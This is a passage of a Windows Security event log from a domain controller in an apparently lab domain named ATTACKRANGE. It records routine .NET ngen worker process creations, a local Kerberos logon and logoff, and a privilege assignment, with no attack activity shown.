TaskCategory=Process Creation
OpCode=Info
RecordNumber=254440
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 554 -Pipe 55c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254445
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 584 -Pipe 5b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254444
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 574 -InterruptEvent 0 -NGENProcess 540 -Pipe 578 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254446
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 540 -InterruptEvent 0 -NGENProcess 558 -Pipe 574 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254448
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 53c -Pipe 5c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254447
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5c0 -InterruptEvent 0 -NGENProcess 5a4 -Pipe 5bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254463
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1200
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 580 -Pipe 42c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254462
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 5b4 -Pipe 584 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254461
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 584 -InterruptEvent 0 -NGENProcess 42c -Pipe 524 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254460
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 524 -InterruptEvent 0 -NGENProcess 584 -Pipe 54c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254459
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12C328

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254458
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12C328
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62464

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254457
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12C328

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254456
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 524 -Pipe 5a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254455
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 54c -Pipe 5e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254454
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5e4 -InterruptEvent 0 -NGENProcess 5a4 -Pipe 570 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254453
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 570 -InterruptEvent 0 -NGENProcess 5e4 -Pipe 540 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254452
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 540 -InterruptEvent 0 -NGENProcess 570 -Pipe 5d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254451
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5d0 -InterruptEvent 0 -NGENProcess 540 -Pipe 5dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254450
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
